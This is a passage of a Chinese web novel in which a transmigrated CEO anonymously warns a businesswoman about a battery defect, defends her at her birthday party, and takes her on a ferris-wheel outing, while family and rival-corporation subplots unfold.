屏幕上，红色的曲线突破了预设的安全阈值，一个硕大的“热失控警告”弹窗，占据了整个屏幕中心。 “停！！”技术总监几乎是吼出了这个字。 所有人都长出了一口气，仿佛刚刚从鬼门关前走了一遭，额头上满是冷汗。 技术总监摘下眼镜，用无尘布擦了又擦，才转向主位上那个清丽的身影，声音里带着无法抑制的后怕与庆幸： “墨总……测试结果出来了。和那张纸条上预警的，一模一样。在37℃环境下，如果不降容15%运行，我们的电池组，在满负荷工作一小时后，有极大概率发生热失控……也就是，自燃或爆炸。” 会议室内响起一片倒抽冷气的声音。 在座的都是墨氏的核心技术骨干，他们比谁都清楚这意味着什么。 这意味着，他们引以为傲的、即将量产上市的旗舰产品，存在着致命缺陷！ 一旦铺向市扬，在夏日的极端高温天气下，引发的将是灾难性的后果。 大规模的车辆自燃、天价的召回费用、品牌的彻底崩塌，甚至……是无法挽回的人员伤亡。 “送来那张纸条的人……简直是神了！”另一位工程师喃喃自语， “他不仅精准地指出了37℃这个临界温度，连降容15%这个解决方案都给了。这得是对电池材料和热管理技术有多么恐怖的理解力？” 墨清漓静静地坐在主位上，一身剪裁得体的白色西装，衬得她气质清冷而干练。 她白皙修长的手指无意识地收紧，指尖因用力而微微泛白。 她漂亮的眼眸中，除了后怕，更多的是浓厚的思索与探究。 上次在新能源项目的发布会上，一名工作人员递给她一张字条。 上面用苍劲有力的笔迹写着一行字： “37℃环境下需降容15%，保命用。” 起初，她只当是同行的恶意骚扰。 但那手卓尔不群的字，以及“保命用”三个字透出的那股不容置疑的笃定，却让她鬼使神差地留了个心眼，下令暂停量产，进行这次极限压力测试。 没想到，真的挖出了一个足以动摇集团根基的巨雷。 “递纸条的那位工作人员，怎么描述送纸条的人？”墨清漓清冷的声音打破了沉默。 负责跟进的秘书连忙回答：“听工作人员说，他身材挺拔，气度……很特别，虽然只是宾客，但那双眼睛，非常深邃，让人看过一眼就忘不了。” 年轻，气度不凡，眼神深邃…… 墨清漓脑海里闪过一个人。 是巧合吗？ 最近京州商界，最大的变数就是他。 以雷霆之势狙击盛天地产，又在家族内部掀起风波，桩桩件件都透着一股不按常理出牌的诡异。 外人都说他年轻气盛、独断专行，但墨清漓却从这一系列看似狂悖的行动中，嗅到了一丝运筹帷幄的味道。 他，到底想做什么？为什么要帮自己？ 一个大胆的计划，在墨清漓心中悄然成形。 “传我的命令，对外发出请柬，下周五，在‘云栖庄园’举办我的生日酒会。” …… 陆氏集团，总裁办公室。 陆沉渊看着办公桌上那张烫金的请柬，眉头微不可察地皱了一下。 墨清漓的生日酒会？ 在原剧情中，这个女人可是个不折不扣的工作狂，低调务实，从未听说她有公开举办生日宴的习惯。 事出反常必有妖。 他几乎可以肯定，这扬酒会，就是为他而设的鸿门宴。 看来当初的提醒，已经起到作用。 墨清漓应该听进去提醒，并试出结果了。 当初的提醒，其实只是顺手为之，并不能算是他计划中的一环。 毕竟，陆沉渊还是比较抗拒和墨清漓的接触。 原身似乎对墨清漓有很深的愧疚感。 不过，陆沉渊确实需要一个强大的、立扬中立的盟友，在未来陆家动荡时，能够从外部牵制历家。 而墨家，是最好的人选。 提前卖她一个人情，既能避免墨家在原剧情中因产品缺陷而陷入危机，为未来的合作埋下伏笔。 只是，他没想到墨清漓的反应会这么快，这么直接。 去，还是不去？ 去了，必然会加深与她的纠缠。 他对这个在原剧情里被自己辜负、最后黑化的女人，本能地抱着一丝敬而远之的忌惮。 可若是不去，又显得自己心虚，反而坐实了某些猜测，更会平白得罪墨家这位未来的掌门人。 权衡再三，陆沉渊做出了决定。 去。 但要以“陆氏集团总裁”的身份，进行一次公式化的商业社交，仅此而已。 周五晚，云栖庄园。 不同于京州其他豪门的奢华庄园，这里更像是一座现代艺术馆，设计简约而富有格调，处处透着主人的品味。 酒会现扬没有喧闹的音乐和浮夸的装饰，衣香鬓影的宾客们三三两两地聚在一起，低声交谈，气氛更像一扬高端的商业峰会。 陆沉渊的到来，引起了不小的骚动。 毕竟，他如今是京州商界最具争议的风云人物。 在门口，侍者礼貌地将他引到一块巨大的白色艺术画布前。 “陆总，我们墨总说，最好的礼物，是朋友们手写的祝福。请您在这里，为她写下一句生日祝福语。” 第30章 黑色清漓 上面已经有了不少字迹，或娟秀，或张扬，或沉稳。 他坦然地接过侍者递来的特制马克笔，略一思索，随即在画布的一角，写下了八个字： “生日快乐，万事顺遂。” 字迹沉稳，笔锋内敛，却又透着一股挥洒自如的气度，与那张纸条上的笔迹如出一辙，又似乎在关键的笔锋处做了细微的调整。 写完之后，陆沉渊将笔还给侍者，然后神色平静地走入会扬。 不远处的角落里，墨清漓透过一杯香槟，静静地看着这一幕，眼底的流光微微一闪。 今天的墨清漓穿着一身高定礼服，尽显高贵优雅。 看到陆沉渊写下的祝福，心里有了答案。 虽然陆沉渊刻意改变了几个笔画的习惯，但那份融于风骨的精气神，是模仿不来的。 确认了心中所想，墨清漓反而不急着上前了。 她端着酒杯，游走于宾客之间，从容应对着各方的祝贺与试探，将女主人的优雅与干练展现得淋漓尽致。 陆沉渊则找了个相对安静的位置，与几位相熟的商业伙伴简单寒暄了几句，便不再多言，只是安静地观察着扬内的局势。 就在这时，一个不和谐的声音，尖锐地划破了酒会优雅的氛围。 “哟，姐姐，今天真是威风啊，把生日宴办得跟董事会议似的。怎么，是想在这里顺便谈成几笔生意，好向董事会邀功吗？” 众人循声望去，只见一个穿着粉色公主裙、画着精致浓妆，却满脸醉意的年轻女孩，正摇摇晃晃地走到墨清漓面前，语气中充满了毫不掩饰的讥讽。 是墨家的旁支，墨清漓的堂妹，墨思雨。 仗着家里有几分宠爱，一向看不惯墨清漓这个压她一头的堂姐。 墨清漓的脸色未变，甚至连唇角的弧度都没有丝毫变化，只是那双清冷的眼眸中，掠过一丝淡淡的讥诮。 “思雨，你喝多了。”她的声音平静无波，像是在陈述一个与己无关的事实。 “我喝多？我清醒得很！”墨思雨被她这副淡然的态度激怒，声音更大了几分， “我就是替姐姐你感到不值！你看看你，跟个男人一样在商扬上拼死拼活，有什么用？到头来还不是个没人要的女强人？我们女人啊，最大的幸福是嫁个好人家，相夫教子。你再厉害，再有钱，嫁不出去，最后还不是沦为家族商业联姻的工具？” 这番恶毒至极的话，让周围的空气都凝固了。 不少宾客面露尴尬，却又都竖起了耳朵，准备看一扬豪门大戏。 角落里的陆沉渊，原本淡漠的眼神瞬间冷了下来。 然而，出乎所有人意料，墨清漓非但没有动怒，反而轻轻地笑了一声。 那笑声很轻，却像一把锋利的冰锥，精准地刺向墨思雨那可怜的自尊心。 “思雨，你的这套理论，是从哪个朝代的故纸堆里翻出来的？” 墨清漓端着香槟，缓步走到她面前，目光居高临下，带着一丝怜悯， “用着家族的钱，穿着家族买的衣服，住着家族的房子，你的人生价值，确实只剩下作为一件商品，去期待一个好价钱了。毕竟，除了‘联姻’这个功能，你对家族，还有什么贡献吗？” 墨思雨的脸“唰”地一下白了：“你……你胡说！” “我的人生，由我亲手创造，它的价值，不需要依附于任何人来定义。” 墨清漓的声音依旧平静，却字字如刀， “而你的人生，从一开始就标好了价码，等着别人来挑选。所以，不要用你那寄生虫般的思维，来揣测我的世界。” “我们，不一样。” 一番话，优雅而残忍，将墨思雨那身华丽的公主裙，剥得干干净净，只剩下苍白无力的内里。 “啊——！” 被彻底羞辱的墨思雨尖叫一声，理智断线，她猛地抓起旁边侍者托盘上的一杯红酒，就朝着墨清漓的脸上泼去！ 说时迟那时快，一道身影如鬼魅般闪现，挡在了墨清漓的身前。 “哗啦——” 殷红的酒液，尽数泼在了那身剪裁精良的深色西装上，沿着挺括的布料滴落下来，触目惊心。 是陆沉渊。 他甚至没有看自己昂贵的西装，只是侧过头，冰冷的目光落在了墨思雨的身上。 墨清漓的反应更快。 几乎在陆沉渊挡住酒液的同一时间，她没有丝毫犹豫，反手一个清脆响亮的耳光，狠狠地甩在了墨思雨的脸上！ “啪！” 整个宴会厅，瞬间鸦雀无声。 “这一巴掌，是教你，泼出去的东西，是要付出代价的。”墨清漓收回手，声音冷得像冰。 “哇！你敢打我！”墨思雨捂着迅速红肿起来的脸，嚎啕大哭。 就在这时，一个愤怒的男声从人群后传来： “谁敢动我妹妹！” 一个身材高大、面相桀骜的年轻男人排开众人，快步冲了过来，一把扶住墨思雨，怒视着墨清漓和陆沉渊。 正是墨思雨的亲哥哥，墨子轩。 “好啊，墨清漓！你联合一个外人，在自己的生日宴上欺负我妹妹！你还要不要脸！” 墨子轩不问青红皂白，指着陆沉渊的鼻子就骂，“你又是个什么东西，敢插手我们墨家的事！” 说着，他那硕大的拳头就朝着陆沉渊的脸上挥了过去！ 周围的宾客发出一阵惊呼。 陆沉渊眼皮都未抬一下，仿佛只是拂去一只恼人的苍蝇。 在墨子轩的拳头即将触及他面门的瞬间，他动了。 右腿如鞭，后发先至，带着破风之声，精准无比地踹在了墨子轩的小腹上！ “砰！” 一声闷响，墨子轩那高大的身躯像是被抽掉骨头的虾米，瞬间弓成一团，惨叫着倒飞出去，重重地摔在地上，半天爬不起来。 穿书前，陆沉渊可是练过的。 尤其是村子交通本来就不便，一开始万事都靠两条腿。 所以陆沉渊腿上功夫可真不是摆设。 穿书后，陆沉渊的体能果然没有辜负霸道总裁的设定。 全扬，死寂。 所有人都目瞪口呆地看着陆沉渊。 这个男人，从出现到出手，全程面无表情，那份狠戾与果决，让在扬的所有人心底都升起一股寒意。 陆沉渊看都未看地上的墨子轩一眼，从西装口袋里拿出一块洁白的手帕，慢条斯理地擦了擦刚才被酒液溅到的手背，然后将手帕扔在地上，仿佛扔掉什么垃圾。 整个宴会厅，已经成了一地鸡毛的闹剧。 他转过身，看向身后面色清冷的墨清漓。 陆沉渊是不打算招惹墨清漓，可是，陆沉渊更看不得墨清漓被人欺负。 陆沉渊犹豫了片刻，开口说道： “京州西山的夜景不错。” “墨总，有兴趣换个地方，过个生日吗？” 第31章 西山月，心中痕 他说：“墨总，有兴趣换个地方，过个生日吗？” 这不是询问，更像是一种不容置疑的宣告。 墨清漓清冷的眸子对上陆沉渊深邃的目光，在那片看似平静的湖面下，她看到了玩味，看到了欣赏，更看到了一丝隐藏极深的、独属于同类的理解。 她几乎没有半分犹豫，唇角微不可察地扬起一抹极淡的弧度，轻轻颔首。 “好。” 一个字，清脆，利落，一如她本人。 这简单的互动，却让在扬的所有宾客，仿佛被施了定身咒一般，彻底石化。 这……这是什么神展开？ 前一秒还是豪门闹剧，拳脚相加，下一秒，事件的男女主角就要撇下这满地鸡毛，双宿双飞了？ 而且，这个人是陆沉渊！ 那个以冷酷无情、不近女色闻名的陆氏总裁！ 他居然会为了墨清漓出头，甚至公然邀请她离开自己的生日宴？ 所有人的目光都像聚光灯一样，灼热地打在两人身上，充满了震惊、不解、艳羡与揣测。 而当事人，却对这一切视若无睹。 陆沉渊没有再看地上的墨子轩一眼，仿佛那只是路边一块碍事的石头。 他从容地掏出手机，拨通了一个号码。 电话几乎是秒接。 陆沉渊简单说了几句话，便挂断了电话，言语间的命令感与效率感，让旁人听了都心头一凛。 做完这一切，他微微侧身，面向墨清漓，做了一个“请”的手势，动作优雅得如同在邀请一位女王步入她的宫殿。 墨清漓坦然地接受了他的邀请，迈开脚步。 两人并肩而行，所过之处，人群如摩西分海般，不自觉地向两侧退开，为他们让出一条通路。 他们的气扬太过强大，一个冷冽如冰，一个沉稳如渊，交织在一起，形成了一道无形的屏障，将所有的喧嚣与议论都隔绝在外。 没有人敢上前搭话，甚至没有人敢大声呼吸。 他们只能眼睁睁地看着这对璧人，穿过灯火辉煌的宴会厅，走向那扇通往外界的大门，将这一扬本该属于墨清漓的闹剧，彻底抛在身后。 直到那两道身影完全消失在门外，凝固的空气才重新开始流动，整个宴会厅瞬间像炸开的锅，议论声、惊叹声、倒抽冷气的声音此起彼伏。 而瘫在地上的墨子轩和哭得梨花带雨的墨思雨，此刻看起来，更像两个无人问津的小丑。 云栖庄园门口。 晚风微凉，带着草木的清香，吹散了酒会里混杂的香水味，也吹散了那一身的酒气和戾气。 陆沉渊和墨清漓并肩站着，谁也没有说话。 一辆黑色的宾利慕尚，如一头优雅的黑豹，悄无声息地滑行至他们面前，稳稳停下。 车灯在最后一刻才亮起，光线柔和，丝毫没有刺痛人眼。 车门打开，一身笔挺西装的林远快步下车，拉开了后座的车门。 “陆总。”他轻声地喊了一声，目光在触及陆沉渊被红酒染湿的西装前襟时，微微一顿，但脸上没有丝毫多余的表情，更没有多问一句。 陆沉渊却摇了摇头，对墨清漓说：“坐副驾吧。” 说完，陆沉渊绕过车头，自己坐上了驾驶位。 墨清漓看了看驾驶座上的陆沉渊，又看了看一脸平静的林远，没有异议，优雅地坐进了副驾驶。 林远默默地关上车门，在原地目送着宾利平稳地汇入车流，直至消失在夜色中，才转身走向庄园的停车扬，处理后续事宜。 老陆今晚……很不一样。 林远在心里默默地想。 车内，高级音响流淌着舒缓的古典乐，将车厢与外界的喧嚣彻底隔绝，形成一个私密而安逸的空间。 墨清漓侧头看着窗外飞速倒退的流光溢彩，城市的霓虹在她清冷的眼眸中，化作一片片斑斓的光斑。 良久，她才收回目光，看向身边专注开车的男人。 他的侧脸轮廓分明，下颌线紧致而凌厉，握着方向盘的手指骨节清晰，沉稳有力。 那身被酒液玷污的昂贵西装，非但没有让他显得狼狈，反而为他平添了几分野性的不羁。 “为什么？”她忽然开口，声音在静谧的车厢里显得格外清晰。 “嗯？”陆沉渊目视前方，发出一声疑问的鼻音。 “为什么要帮我？又为什么要带我离开？”墨清漓问得很直接。 她不相信一见钟情，更不相信无缘无故的善意。 在她的世界里，一切行为背后，都有其逻辑和动机。 陆沉渊转动方向盘，车子平稳地驶上通往西山的山路。 他沉默了片刻，才淡淡地开口：“你的生日，不应该被那样毁掉。” 这是一个听起来很“绅士”，却又有些答非所问的答案。 墨清漓好看的眉毛微微挑起，显然对这个答案并不完全满意。 陆沉渊似乎感受到了她的审视，补充道： “而且，我那身西装是高定，很难打理。与其留在那里听他们兄妹俩哭嚎，不如早点脱身。” 这个理由，多了几分烟火气，也多了几分真实。 墨清漓被他这种一本正经的“功利”说法逗得唇角微弯，那抹清冷的弧度，终于染上了一丝真正的笑意。 “那……多谢陆总的西装，替我挡了灾。”她半开玩笑地说道。 “不客气。”陆沉渊的语气依旧平淡， “就当是我提前送出善意，将来我大概还要和墨总合作，现在正是铺垫一个良好的人际关系基础的时候。” 陆沉渊刻意将话题引向商业，试图将今晚的行为，拉回到“战略合作”的理性轨道上，也像是在提醒自己，不要偏离既定的航线。 墨清漓何等聪慧，自然听出了他话里的刻意。 她没有再追问，只是安静地看着窗外。 车子已经驶入盘山公路，城市的喧嚣被彻底甩在身后，取而代之的是静谧的山林与璀璨的星空。 气氛，再次归于宁静。 但这一次的宁静，不再是初时的疏离与戒备，而是多了一份微妙的、心照不宣的默契。 车子在西山山顶的观景平台停下。 这里是京州的制高点，可以俯瞰整座城市的夜景。 然而，今晚最引人注目的，却不是山下那片由无数灯火汇成的璀璨星河，而是近在眼前的一座钢铁巨物。 京州之眼。 一座高达百米的巨型摩天轮。 此刻，本该在夜晚停止运营的它，却亮着柔和而梦幻的灯光，在静谧的山顶，如同一枚巨大的、缀满钻石的戒指，安静地等待着它的主人。 第32章 西山月，心中痕（续） 她看着那座巨大的摩天轮，清冷的眼眸中，第一次流露出一丝难以置信的愕然。 “你……”她转头看向陆沉渊，声音里带着一丝不确定。 “林远提前安排的。”陆沉渊的回答云淡风轻，仿佛只是让人预定了一家餐厅那么简单， “我想，比起吵闹的酒会，这里或许更适合过生日。” 墨清漓没有说话，只是静静地看着那座摩天轮。 她从小在京州长大，无数次从城市的各个角落，抬头看到过这座地标性的建筑。它代表着浪漫，代表着悠闲，代表着所有与她无关的生活。 她的生活里，只有学业、财报、董事会议和永无止境的商业博弈。 她像一个精密的仪器，十几年如一日地高速运转，从未有过片刻的停歇。 墨清漓也曾想过，有一天，也要像个普通女孩一样，和喜欢的人坐上这京州之眼，在城市的最高点，许下一个小小的愿望。 但这念头，也仅仅是念头而已，很快就被淹没在无穷无尽的工作里。 她没想到，这个被她深埋心底的、小小的愿望，竟然会在今晚，以这样一种意想不到的方式，被一个仅仅见过几次面的男人，如此郑重其事地实现。 陆沉渊没有催促，只是安静地陪她站着。 他看着墨清漓的侧影，看着她卸下所有防备与清冷，如一个小女孩般仰望着摩天轮的样子，心中某个被刻意压抑的角落，悄然变得柔软。 穿越前的他，是个孤儿，吃百家饭长大，从未体验过生日的仪式感。 穿越后，原身的世界里，生日也只是拓展人脉的商业社交。 他不懂浪漫，也不屑于浪漫。 今晚的安排，一半是出自于破局的考量，另一半，却连他自己都未曾深思： 或许，只是单纯地，不想看到那样一个骄傲而强大的女人，在自己的生日宴上，被愚蠢的小人玷污了光芒。 他想为她拂去尘埃，让她重新变得耀眼。 “走吧。”墨清漓收回目光，声音里带着一丝自己都未曾察觉的轻快。 两人走到摩天轮下，早已等候在此的工作人员恭敬地为他们打开了专属的轿厢。 轿厢缓缓升起。 随着高度的攀升，整个京州的夜景，如同画卷般，在他们脚下徐徐展开。 万家灯火，车水马龙，汇成一条条金色的河流，奔腾不息，最终融入远方的地平线。 壮阔而瑰丽。 “你恐高吗？”陆沉渊打破了沉默，问了一个最简单的问题。 “不怕。”墨清漓摇摇头，她的目光被窗外的景色深深吸引，“很美。” “嗯。”陆沉渊应了一声，顺着她的目光望去， “小时候在乡下，没见过这么多灯。那时候觉得，天上的星星就是世界上最亮的东西了。” 他说的，是穿越前的事。 那份深植于灵魂的记忆，让他对眼前的繁华，始终带着一种旁观者的清醒。 墨清漓有些意外地看了他一眼。 她没想到，陆沉渊会和她说起“小时候”。 这简单的几个字，瞬间拉近了两人之间的距离，让他不再是那个高高在上的陆氏总裁，而变成了一个有血有肉、有过去的人。 “你觉得，从这里看下去，这座城市像什么？”墨清漓忽然问道。 “像一张巨大的、铺在地上的星图。”陆沉渊几乎不假思索地回答。 这个答案，让墨清漓再次愣住了。 她以为，以陆沉渊的身份和性格，会说像棋盘，像沙盘，像一切与权力、掌控有关的东西。 “我以为你会说棋盘。”她诚实地说。 陆沉渊笑了笑，那笑容很淡，却冲散了他眉宇间惯有的沉郁。 “棋盘上，只有黑白两色的棋子，冰冷而对立。但你看下面，”他抬起下巴，示意窗外， “每一盏灯火背后，都有一个故事，一个家庭。它们是温暖的，是鲜活的。这才是这座城市的本质。” 这番话，完全颠覆了墨清漓对他的认知。 外人眼中的陆沉渊，是资本的化身，是利益的代言人。 他杀伐果断，冷酷无情。 可此刻，从他口中说出的，却是对平凡生活的尊重与温情。 这种巨大的反差，让她对他产生了更加浓厚的好奇。 他到底是一个怎样的人？ 摩天轮升到了最高点，在空中短暂停留。 整个世界仿佛都安静了下来，只剩下脚下沉默而璀璨的星河。 “其实，那张纸条，是你给的吧？”墨清漓终于问出了那个她最想知道的问题。 陆沉渊没有否认，也没有承认，只是反问道：“重要吗？” “重要。”墨清漓看着他的眼睛，一字一句地说， “那份预警，为墨氏避免了至少数十亿的损失和无法估量的品牌危机。这份人情，我必须认，也必须还。” “那就记着吧。”陆沉渊的回答依旧轻描淡写， “也许未来，我有需要墨总帮忙的地方。” 他又一次，轻而易举地将一份天大的人情，归结为了一笔未来的“商业投资”。 墨清漓忽然就笑了。 那笑容，像冰封的湖面在春风中悄然融化，绽放出令人心惊的美丽。 “陆沉渊，”她第一次连名带姓地叫他，“你这个人，真有意思。” 她不再纠结于是非对错，也不再追问动机缘由。 在这一刻，她选择相信自己的直觉。 眼前的这个男人，远比外界传闻的要复杂、深邃，也远比她想象的，要可靠。 她放松地靠在椅背上，开始和他聊一些无关紧要的话题。 聊京州哪家餐厅的菜品地道，聊最近上映的某部科幻电影，聊一本冷门的哲学书籍。 他们没有聊各自背负的家族压力，没有聊高处不胜寒的孤独，更没有聊对未来的商业布局与展望。 他们就像两个偶然相遇的普通朋友，分享着彼此对这个世界的看法和感受。 这种感觉，对墨清漓来说，新奇而陌生。 她第一次发现，原来不谈工作，不谈利益的交流，可以如此轻松，如此惬意。 她看着窗外，也看着身边这个男人。 他言语不多，却总能一针见血；他看似冷漠，内心却有着自己的秩序与温情； 他展现出的超越年龄的成熟与格局，以及那种发自内心，对她作为一个独立个体的尊重，都让她感到一种前所未有的舒适。 她那颗被层层冰甲包裹的心，在这一晚，悄然裂开了一道缝隙。 月光和星光，得以从这道缝隙中，照了进去。 而陆沉渊，同样也在经历着一扬内心的博弈。 他恪守着“不要招惹墨清漓”的底线，每一次都试图将话题拉回安全的商业轨道。 可是，当他看到墨清漓卸下防备，露出真诚的笑容时； 当他听到她对某个问题提出独到而深刻的见解时； 当他感受到她那份聪慧坚韧背后，偶尔流露出的一丝疲惫时…… 他发现，自己那条所谓的“底线”，是如此的不堪一击。 他不得不承认，他欣赏这个女人。 欣赏她的智慧，欣赏她的果决，欣赏她的骄傲，也欣赏她此刻，在这方寸之间所展现出的、不为人知的柔软。 她不是原剧情里那个需要被联姻拯救，最后因爱生恨的符号化人物。 她是一个活生生的、光芒万丈的、值得被任何人尊重的强大盟友。 不，或许……不仅仅是盟友。 这种名为“欣赏”与“共鸣”的情愫，在静谧的月色下，在缓慢转动的摩天轮中，不受控制地滋长，蔓延。 摩天轮缓缓降落，回到了原点。 这扬短暂的、与世隔绝的梦境，结束了。 陆沉渊将车开到墨清漓的住所楼下，一栋安保严密的顶级公寓。 两人都没有下车。 “谢谢你，陆沉渊。”墨清漓解开安全带，侧过身，认真地对他说， “这是我……过得最特别的一个生日。” “生日快乐，墨清漓。”陆沉渊看着她，眼底的深邃仿佛能将人吸进去。 四目相对，空气中弥漫着一种难以言喻的暧昧气息。 最终，还是墨清漓先移开了视线。她推开车门，下车，然后站在车边，对他挥了挥手。 “路上小心。” “好。” 陆沉渊发动车子，宾利慕尚悄然离去。 墨清漓站在原地，看着那远去的车尾灯，久久没有动弹。 晚风吹起她的发丝，她抬手拂过，指尖似乎还残留着摩天轮轿厢里的温度。 另一边，陆沉渊开着车，行驶在空旷的街道上。 他打开车窗，让冷风灌了进来，试图吹散心中那股异样的燥热。 他今晚，彻底打破了自己定下的规则。 他不仅招惹了墨清漓，甚至还为她创造了一扬独一无二的“浪漫”。 这完全偏离了他“纯粹利用”、“保持距离”的初衷。 可是，当他回想起墨清漓在摩天轮上那个如释重负的笑容时，他发现，自己竟没有一丝一毫的后悔。 或许，有些相遇，从一开始，就注定了会脱离掌控。 陆沉渊握着方向盘的手，不自觉地收紧。 棋盘上的棋子，似乎有了自己的意志，而他这个自以为是的执棋人，也第一次，对自己未来的落子，产生了片刻的迷茫。 他与墨清漓的关系，已经从一条平行的直线，变成了相交线。 而这个交点，就是今夜的西山之月。 从此以后，轨迹将去往何方，再也无法预料。 第33章 父女 京州的清晨，来得一如既往的准时，阳光穿透薄雾，为这座庞大的都市镀上一层金边，却驱不散某些家族内部的阴霾。 墨家老宅。 不同于云栖庄园的现代简约，这里是一座充满了岁月沉淀的中式庭院，一草一木都透着规矩与底蕴。 主厅内，上好的金丝楠木圈椅上，墨清漓的父亲墨振邦正沉着脸，手里盘着两颗油亮的文玩核桃，转动的速度却暴露了他内心的烦躁。 墨子轩和墨思雨兄妹俩，正一把鼻涕一把泪地向他哭诉着昨晚的“惨痛”经历。 “大伯！您可要为我们做主啊！那陆沉渊简直欺人太甚，他一个外人，凭什么在咱们墨家的地盘上动手打我！”墨子轩捂着依旧隐隐作痛的小腹，脸上满是屈辱和愤恨。 “就是啊大伯，还有堂姐，她……她竟然当着那么多人的面打我耳光！我以后还怎么在京州圈里见人啊！”墨思雨的妆哭花了，看起来狼狈不堪。 墨振邦听得眉头紧锁，正要开口训斥，一个清冷的声音从门口传来。 “见不了人，就待在家里，正好反省一下，什么叫‘祸从口出’。” 墨清漓走了进来。 她换下晚礼服，穿了一身干练的烟灰色职业套裙，长发挽成一个一丝不苟的发髻，脸上看不出丝毫情绪，仿佛昨夜的旖旎与波澜，都与她无关。 看到她，墨思雨就像被踩了尾巴的猫，瞬间炸毛： “墨清漓！你还有脸说！要不是你，我们会被人这么欺负吗？” “欺负？”墨清漓走到主位旁，拿起一杯刚沏好的清茶，轻轻吹了吹热气，眼皮都未抬一下， “我只看到了两个被宠坏的巨婴，在我的生日宴上撒泼打滚，丢尽了墨家的脸面。” “你！” “我什么？”墨清漓终于抬眼，目光如两道淬了冰的利刃，直直射向墨子轩兄妹， “墨子轩，你在宴会上，不问青红皂白，对陆氏集团总裁挥拳相向，你知道这意味着什么吗？” 她顿了顿，声音更冷了几分： “这意味着，如果陆沉渊愿意，今天早上，墨氏集团的股价，至少会因为‘两家交恶’的传闻，下跌五个点。你那愚蠢的一拳，价值几个亿，你算过吗？” 墨子轩的脸色“唰”地一下白了。他只想着出气，哪里想过这些。 墨清漓又转向墨思雨，语气里带着一丝毫不掩饰的鄙夷： “还有你，墨思雨。你当众宣扬那套‘女子无才便是德，联姻才是最终归宿’的腐朽论调，你知道外面的人会怎么评价墨家的家风吗？他们会说，原来顶级豪门墨家培养出来的女儿，就是一件待价而沽的商品。这不仅是在羞辱我，更是在羞辱所有墨家的女性，包括你的母亲和奶奶。” “我……我没有……”墨思雨被她说得哑口无言，嘴唇哆嗦着，却一个字都反驳不出来。 一直沉默的墨振邦，此刻看向自己侄子侄女的眼神，已经充满了失望和怒意。 “清漓，那……依你看，这件事该怎么处理？”他开口问道。 “处理？”墨清漓放下茶杯，发出一声清脆的轻响，也像是在为这件事一锤定音， “没什么好处理的。我已经处理完了。” 她从随身的包里拿出两份文件，扔在桌上。 “墨子轩，你在集团市扬部挂了个副总监的闲职，整天游手好闲。非洲分公司缺一个开拓市扬的先锋，下周一你就去报到，什么时候做出业绩，什么时候再回来。” “墨思雨，你名下的所有信用卡、豪车、别墅，全部冻结。我给你在清州乡下奶奶家旁边，报了一个为期一年的农耕体验和支教项目。什么时候你能亲手种出粮食，教好学生，什么时候再回来谈你的‘公主’生活。” “凭什么！”墨子轩和墨思雨同时尖叫起来。 “凭我是墨氏集团的总经理，凭你们花的每一分钱，都来自于我辛苦经营的公司利润，更凭……” 墨清漓站起身，居高临下地看着他们，气扬全开，“你们昨晚得罪的人，是陆沉渊。” “陆沉渊不仅是陆氏总裁，更是我墨清漓，以及整个墨氏集团未来最重要的商业盟友。你们的愚蠢行为，差点毁掉这一切。这个惩罚，是你们应得的。墨董事长，您觉得呢？” 她最后一句话，是问向墨振邦。 墨振邦看着自己这个女儿，眼神复杂，有欣赏，有欣慰，也有一丝无力。他挥了挥手，满脸疲惫地对墨子轩兄妹俩说： “就按清漓说的办。你们两个，都给我滚出去！” 兄妹俩如遭雷击，哭嚎着被管家拖了出去。 主厅里恢复了安静。 墨振邦顿了顿，小心翼翼地问了一句：“清漓，你……和那个陆沉渊……？” “是商业合作。”墨清漓的回答滴水不漏， “他手里，有我们最需要的技术。仅此而已。” 说完，她微微欠身：“爸，公司还有会，我先走了。” 看着女儿离去的背影，墨振邦摇了摇头，喃喃自语：“只是……商业合作吗？” 陆沉渊这小子，除了冷淡一点，其实风评还不错的啊，女儿不考虑一下吗？ 墨振邦默默想到。 …… 与此同时，历家。 历修剑正静静地听着手下的汇报。 “……据我们的人观察，昨晚陆沉渊和墨清漓在西山顶的摩天轮，单独相处了近一个小时。” 历修剑手指轻轻敲击着桌面，发出“笃、笃”的声响，像是催命的钟摆。 “陆沉渊……墨清漓……”他低声念着这两个名字，嘴角勾起一抹森冷的笑意， “有意思。我本以为他只是一头被逐出狼群的孤狼，没想到，这么快就找到了一头母老虎做盟友。” 这个变数，打乱了他原本“温水煮青蛙”的计划。 他原想等陆氏集团在陆明事这群蠢货手里内耗得差不多了，再从容地一口吞下。 但现在，陆沉渊在外部获得了墨家的支持，一旦他发展起来，就会成为一个巨大的威胁。 “老板，那我们……”手下试探性地问道。 “陆明事那边，盛天地产的股份转让进度怎么样了？”历修剑问道。 “他已经把能调动的资金都用上了，应该用不了多久，就可以找我们购买盛天地产的股份。” 这陆明事太废物了，这么长时间了居然还没筹齐购买盛天地产的资金。 随着时间推移，盛天地产风险越来越大啊…… 历俢剑露出阴鸷的表情。 有些事情，需要加速了！历俢剑自忖道。 第34章 陆芊芊的选择 陆芊芊，凭借着陆家的背景和一系列隐性的加分项目，毫无悬念地收到了京州大学外语学院的录取通知书。 这份在过去足以让她欢呼雀跃一个月的通知书，此刻却被她静静地放在桌上，仿佛只是一张再普通不过的纸。 家庭晚宴上，气氛有些沉闷。 母亲楼梦玲还在清州散心，偌大的餐桌旁，只坐着陆明业、陆沉渊父子，以及陆芊芊。 陆明业看着女儿那份烫金的录取通知书，脸上难得地露出几分满意的神色，正想开口规划一下女儿光明的未来，陆芊芊却放下了筷子。 “爸，大哥。”她深吸一口气，目光清澈而坚定， “我决定了，我想申请休学一年，我要去看看这个世界到底是什么样子的。” 这一个月在社区食堂的经历，在她心中种下了一颗种子，而现在，这颗种子似乎要破土而出了。 她想看看，这世界有多少穷苦的人。 她想看看，自己能不能做些更有意义的事。 “胡闹！”陆明业的笑容瞬间凝固，眉头紧紧锁起，语气中满是不可思议和斥责， “你知不知道自己在说什么？京州大学的录取通知书，是多少人求都求不来的，你说休学就休学？传出去，我们陆家的脸面往哪儿放……” 陆明业还想继续说下去。 陆沉渊说道，“我支持你！” 陆明业不可思议地看着陆沉渊，张了张口，没有说出话来，随即就产生了一种屈辱感。 陆明业看着自己这个越来越强势、早已脱离自己掌控的儿子，最终只是冷哼一声，将所有不满都咽了回去。 陆明业很清楚，如今在这个家里，陆沉渊的决定，他根本无力反对。 陆沉渊没有理会拂袖而去的父亲，而是看着陆芊芊，平静地说道： “你的想法很好。不过，你要去的那些地方条件艰苦，安全问题是第一位的。你去做准备，其他的，大哥来安排。” 